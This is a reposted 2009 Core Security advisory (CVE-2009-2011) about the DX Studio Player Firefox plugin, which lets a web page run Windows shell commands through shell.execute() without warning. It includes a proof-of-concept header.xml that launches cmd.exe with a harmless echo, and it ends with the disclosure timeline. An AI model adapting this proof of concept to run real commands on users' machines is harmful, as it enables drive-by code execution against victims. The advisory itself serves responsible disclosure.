|
|
|
|
| |
Credit:
The information has been provided by Diego Juarez.
The original article can be found at: advisories@coresecurity.comhttp://www.coresecurity.com/content/DXStudio-player-firefox-plugin
|
| |
Vulnerable Systems:
* DX Studio Player version 3.0.29.0 and earlier
Immune Systems:
* DX Studio Player version 3.0.29.1
DX Studio is a complete integrated development environment for creating interactive 3D graphics. DX Studio provides a javascript API in which the method 'shell.execute()' is defined as follows:
Prototype:
shell.execute(commandString, [paramString], [commandIsProgId]);
This method sends the 'commandString' to the Windows shell with optional parameters in 'paramString'. For security reasons, this function is not available when running in a web browser. If you set 'commandIsProgId' to true, you can launch a utility by its 'ProgID', e.g. 'WMP.DVD' with parameter 'play' would play a DVD in Windows Media Player.
In our tests, despite what is stated in the documentation, we found that the function is actually available to both the Internet Explorer and Firefox browser plug-ins. In the IE plug-in the user does get a warning about the security implications of allowing such '.dxstudio' file to run. On Firefox however, there is no such warning whatsoever, allowing an attacker to execute arbitrary code on the client side by luring the victim into clicking a link or visiting a malicious website.
*Proof of Concept (header.xml)*
<?xml version="1.0" encoding="utf-8" standalone="yes"?> <dxstudio version="1.0.0" width="800" height="600"
defaultscriptlanguage="javascript">
<display frame="yes" hidecursor="no" hideconsole="no" hidecontext="no"
maxfps="100" unthrottled="no" priority="normal" syncrefresh="yes"
changeresolution="no" userresize="yes" workarea="no" windowmask="no"
src="" minplayerversion="1.0.0">
<loading console="yes" custom="no" custombackground="no"
customlogo="yes" showversion="no">
<prop id="background" type="color" r="0" g="0" b="0" a="1" />
<logo src="" />
<customprogress />
</loading>
</display>
<script>
<![CDATA[function onInit()
{
shell.execute("cmd.exe","/k cls|@echo this is wrong, very wrong.") } ] ]>
</script>
<licenseinfo stamp="cgdaaaaa" />
<security>
<prop id="password" type="string" value="" />
<prop id="allowplayer" type="bool" state="no" />
<prop id="nocache" type="bool" state="yes" />
</security>
</dxstudio>
Note: The security vulnerability is also exploitable on the standalone player, however, this functionality appears to be the expected behavior and fully intended for the standalone player.
CVE Information:
CVE-2009-2011
Disclosure Timeline:
. 2009-05-21:
Core Security Technologies notifies the Worldweaver Support Team (WST) of the vulnerability and announces its initial plan to publish the content on June 15th, 2009.
. 2009-05-26:
The WST asks Core for a technical description of the vulnerability.
. 2009-05-26:
Technical details sent to WST by Core.
. 2009-06-08:
Core asks WST for an estimated date to fix this issue.
. 2009-06-08:
WST notifies Core that a fix has already been produced and it is available to the users.
. 2009-06-09:
The advisory CORE-2009-0521 is published.
|
|
|
|
|